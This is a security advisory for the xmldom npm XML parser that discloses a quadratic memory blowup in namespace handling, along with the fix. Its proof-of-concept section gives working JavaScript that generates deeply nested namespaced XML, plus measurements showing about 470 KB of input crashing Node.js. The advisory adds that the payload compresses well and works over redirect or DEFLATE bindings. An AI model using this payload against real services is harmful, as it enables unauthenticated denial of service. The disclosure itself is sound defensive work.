GHSA-965w-775f-mr7g: Npm/xmldom vulnerability

Summary

When an element declares a namespace prefix, xmldom copies the entire in-scope namespace map into a fresh object and keeps that copy on the element while it is open on the parse stack. A crafted document that nests N elements, each declaring one unique prefix, therefore drives the parser to hold on the order of N(N+1)/2 = O(N²) namespace-map entries at its peak, so a small, highly compressible input exhausts the heap. Parsing runs under default options on untrusted, network-delivered XML, so a sub-megabyte payload can OOM-crash the process before any application-level validation runs — an unauthenticated denial of service.

Details

appendElement performs the copy: copy clones the current namespace map into a fresh object for each prefix-declaring element, and the copy is retained on that element's parse-stack entry:

js if (localNSMap == null) { localNSMap = Object.create(null); copy(currentNSMap, (currentNSMap = Object.create(null))); // full copy of all ancestor prefixes } currentNSMap[nsPrefix] = localNSMap[nsPrefix] = value; ... el.currentNSMap = currentNSMap; // retained while the element is open on the parse stack

https://github.com/xmldom/xmldom/blob/08a22d78e4bc50f12ce9f5090b8d96ee6031ac7b/lib/sax.js#L467-L540

The copies stack: the element at depth i copies a map of size ~i, and every ancestor stays live on the parse stack until it closes, so at the deepest point Σi namespace entries are held at once. That peak is transient — the completed DOM retains only O(N), one small namespace map per node — but it is reached during parsing, which is what OOM-crashes the process.

Proof of Concept

A minimal document — N nested elements, each declaring one unique namespace prefix (no SAML wrapper needed):

js const { DOMParser } = require('@xmldom/xmldom');

function build(n) { let open = '', close = ''; for (let i = 0; i < n; i++) { open += <a xmlns:p${i}="urn:${i}">; close = '</a>' + close; } return <r>${open}${close}</r>; // <r><a xmlns:p0="urn:0">...<a xmlns:p{n-1}="urn:{n-1}">...</a>...</r> }

for (const n of [2000, 4000, 8000, 16000]) { const src = build(n); new DOMParser().parseFromString(src, 'text/xml'); // peak memory ~ O(n^2) console.log(n, (src.length / 1024).toFixed(0) + ' KB in', (process.resourceUsage().maxRSS / 1024).toFixed(0) + ' MB peak RSS'); }

Measured on Node.js v24 (peak RSS ~quadruples per doubling of depth; absolute numbers vary by host):

| depth | input | peak RSS | | -----: | ------: | ------------------------------- | | 2,000 | 56 KB | 266 MB | | 4,000 | 115 KB | 622 MB | | 8,000 | 232 KB | 1.9 GB | | 16,000 | ~470 KB | OOM crash (default ~4 GB heap) |

About 470 KB of trivially-generated, highly-compressible input crashes a default Node.js process; larger depths scale as O(N²) into the tens of GB, crashing larger hosts (as first measured by the reporter with a SAML-shaped payload).

Impact

Unauthenticated denial of service against any service that parses attacker-influenced XML with xmldom under default options. A single sub-megabyte request drives multi-gigabyte peak memory and can OOM-crash the process before any application-level validation (e.g. schema checks or a SAML signature verification) runs. The payload is a plain namespace-nesting document and highly compressible, so it is effective over compressed transports (e.g. an HTTP-Redirect / DEFLATE binding, not only POST bindings).

Severity note

The CVSS 4.0 vector scores availability only (VC:N/VI:N/VA:H): the flaw neither discloses nor alters data, it exhausts the heap. VA:H is justified because a single unauthenticated, network-delivered request (AV:N/PR:N/UI:N) of trivial complexity (AC:L/AT:N) drives the parser to multi-gigabyte peak memory and OOM-crashes the process before any application-level logic runs — a full loss of availability for the affected service.

Fix Applied

Inherit each element's in-scope namespace map through the prototype chain instead of copying it for every prefix-declaring element, so a deeply namespaced document holds O(N) namespace entries instead of O(N²) at peak. Behavior-preserving: serialized output is byte-identical, only the memory cost drops. Non-breaking and independent of requireWellFormed; ships on both maintained versions.